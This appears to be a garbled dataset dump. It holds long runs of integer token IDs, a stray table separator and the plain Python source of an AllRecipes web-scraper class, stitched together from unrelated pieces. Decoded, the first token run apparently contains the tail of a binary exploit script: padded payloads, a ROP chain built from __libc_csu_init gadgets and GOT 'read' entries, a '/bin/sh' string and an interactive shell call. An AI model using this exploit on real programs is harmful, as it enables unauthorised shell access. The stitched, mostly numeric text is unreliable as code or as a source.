59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
6,
198,
220,
220,
220,
13834,
13,
21280,
7,
15577,
2220,
8,
198,
220,
220,
220,
640,
13,
42832,
7,
15,
13,
17,
8,
628,
220,
220,
220,
13834,
13,
8344,
43933,
18267,
7,
15,
8,
198,
220,
220,
220,
21437,
220,
796,
279,
2414,
7,
15,
87,
15,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
11593,
8019,
66,
62,
66,
2385,
62,
15003,
62,
70,
324,
1136,
16,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
15,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
16,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
11593,
8019,
66,
62,
66,
2385,
62,
15003,
62,
13345,
62,
16793,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
15,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
2496,
13,
23442,
17816,
961,
6,
12962,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
16,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
11593,
8019,
66,
62,
66,
2385,
62,
15003,
62,
70,
324,
1136,
17,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
2496,
13,
37047,
17816,
961,
6,
12962,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
11593,
8019,
66,
62,
66,
2385,
62,
15003,
62,
70,
324,
1136,
16,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
15,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
16,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
11593,
8019,
66,
62,
66,
2385,
62,
15003,
62,
13345,
62,
16793,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
16,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
15,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
15,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
11593,
8019,
66,
62,
66,
2385,
62,
15003,
62,
70,
324,
1136,
17,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
2496,
13,
37047,
17816,
961,
6,
12962,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
11593,
8019,
66,
62,
66,
2385,
62,
15003,
62,
70,
324,
1136,
16,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
15,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
16,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
11593,
8019,
66,
62,
66,
2385,
62,
15003,
62,
13345,
62,
16793,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
15,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
2496,
13,
65,
824,
28955,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
18,
65,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
11593,
8019,
66,
62,
66,
2385,
62,
15003,
62,
70,
324,
1136,
17,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
2496,
13,
37047,
17816,
961,
6,
12962,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
11593,
8019,
66,
62,
66,
2385,
62,
15003,
62,
70,
324,
1136,
16,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
15,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
16,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
11593,
8019,
66,
62,
66,
2385,
62,
15003,
62,
13345,
62,
16793,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
2496,
13,
65,
824,
28955,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
15,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
15,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
11593,
8019,
66,
62,
66,
2385,
62,
15003,
62,
70,
324,
1136,
17,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
15,
87,
37309,
1415,
1415,
1415,
1415,
1415,
23756,
8,
198,
220,
220,
220,
21437,
15853,
279,
2414,
7,
16793,
62,
8692,
1343,
2496,
13,
37047,
17816,
961,
6,
12962,
198,
220,
220,
220,
13834,
13,
21280,
7,
15577,
2220,
8,
198,
220,
220,
220,
640,
13,
42832,
7,
15,
13,
17,
8,
628,
220,
220,
220,
21437,
220,
796,
275,
6,
59,
87,
15,
68,
6,
198,
220,
220,
220,
13834,
13,
21280,
7,
15577,
2220,
8,
198,
220,
220,
220,
640,
13,
42832,
7,
15,
13,
17,
8,
628,
220,
220,
220,
21437,
220,
796,
275,
6,
59,
87,
17,
69,
59,
87,
5237,
59,
87,
3388,
59,
87,
21,
68,
59,
87,
17,
69,
59,
87,
4790,
59,
87,
3104,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
6,
198,
220,
220,
220,
13834,
13,
21280,
7,
15577,
2220,
8,
198,
220,
220,
220,
640,
13,
42832,
7,
15,
13,
17,
8,
628,
220,
220,
220,
13834,
13,
3849,
5275,
3419,
198
] | 1.201777 | 10,690 |
import inspect
from bs4 import BeautifulSoup
from typing import Optional, Union
from ._settings import HEADERS
from ._schema import DefaultSchema
from ._utils import clean_vulgar_fraction, clean_unicode
class AllRecipes(DefaultSchema):
"""
"""
@classmethod
def __init__(self, url: str, headers: Optional[dict] = HEADERS):
"""
url : str
url
headers : dict, Optional
dict
"""
super().__init__(url)
self.soup = BeautifulSoup(self.page, "html.parser")
def title(self):
"""
"""
return self.soup.find("meta", {"property": "og:title"}).get("content")
def description(self):
"""
"""
return self.soup.find("meta", {"property": "og:description"}).get("content")
def instructions(self):
"""
"""
tags = self.soup.find("ul", {"class": "instructions-section"}).find_all("p")
return [tag.get_text() for tag in tags]
def author(self):
"""
"""
return self.soup.find("span", {"class": "author-name authorName"}).get_text()
def ratings(self):
"""
"""
return self.soup.find("meta", {"name": "og:rating"}).get("content")
def yields(self):
"""
"""
pass
def time(self) -> float:
"""
"""
pass
def category(self) -> list:
"""
"""
return [
self.soup.find("a", {"class": "breadcrumbs__link--last"})
.find("span")
.get_text()
]
def nutrition(self) -> dict:
"""
"""
nutrition = {}
text = (
self.soup.find("div", {"class": "recipe-nutrition-section"})
.find("div", {"class": "section-body"})
.get_text()
.strip()
)
if text.endswith("Full Nutrition"):
text = text.replace(". Full Nutrition", "")
text = text.split(";")
nutrition["Calories"] = float(text[0].split(" ")[0])
for t in text[1:]:
nutrient, amount = t.strip().split(" ")
nutrition[nutrient] = amount
return nutrition
def ingredients(self) -> list:
"""
"""
tags = self.soup.find_all("span", {"class": "ingredients-item-name"})
return [clean_unicode(tag.get_text()) for tag in tags]
| [
11748,
10104,
198,
6738,
275,
82,
19,
1330,
23762,
50,
10486,
198,
6738,
19720,
1330,
32233,
11,
4479,
198,
198,
6738,
47540,
33692,
1330,
39837,
4877,
198,
6738,
47540,
15952,
2611,
1330,
15161,
27054,
2611,
198,
6738,
47540,
26791,
1330,
3424,
62,
85,
377,
4563,
62,
69,
7861,
11,
3424,
62,
46903,
1098,
628,
198,
4871,
1439,
6690,
18636,
7,
19463,
27054,
2611,
2599,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
37227,
628,
220,
220,
220,
2488,
4871,
24396,
628,
220,
220,
220,
825,
11593,
15003,
834,
7,
944,
11,
19016,
25,
965,
11,
24697,
25,
32233,
58,
11600,
60,
796,
39837,
4877,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
19016,
1058,
965,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
19016,
198,
220,
220,
220,
220,
220,
220,
220,
24697,
1058,
8633,
11,
32233,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
8633,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
2208,
22446,
834,
15003,
834,
7,
6371,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
82,
10486,
796,
23762,
50,
10486,
7,
944,
13,
7700,
11,
366,
6494,
13,
48610,
4943,
628,
220,
220,
220,
825,
3670,
7,
944,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
2116,
13,
82,
10486,
13,
19796,
7203,
28961,
1600,
19779,
26745,
1298,
366,
519,
25,
7839,
20662,
737,
1136,
7203,
11299,
4943,
628,
220,
220,
220,
825,
6764,
7,
944,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
2116,
13,
82,
10486,
13,
19796,
7203,
28961,
1600,
19779,
26745,
1298,
366,
519,
25,
11213,
20662,
737,
1136,
7203,
11299,
4943,
628,
220,
220,
220,
825,
7729,
7,
944,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
15940,
796,
2116,
13,
82,
10486,
13,
19796,
7203,
377,
1600,
19779,
4871,
1298,
366,
259,
7249,
507,
12,
5458,
20662,
737,
19796,
62,
439,
7203,
79,
4943,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
685,
12985,
13,
1136,
62,
5239,
3419,
329,
7621,
287,
15940,
60,
628,
220,
220,
220,
825,
1772,
7,
944,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
2116,
13,
82,
10486,
13,
19796,
7203,
12626,
1600,
19779,
4871,
1298,
366,
9800,
12,
3672,
1772,
5376,
20662,
737,
1136,
62,
5239,
3419,
628,
220,
220,
220,
825,
10109,
7,
944,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
2116,
13,
82,
10486,
13,
19796,
7203,
28961,
1600,
19779,
3672,
1298,
366,
519,
25,
8821,
20662,
737,
1136,
7203,
11299,
4943,
628,
220,
220,
220,
825,
19299,
7,
944,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
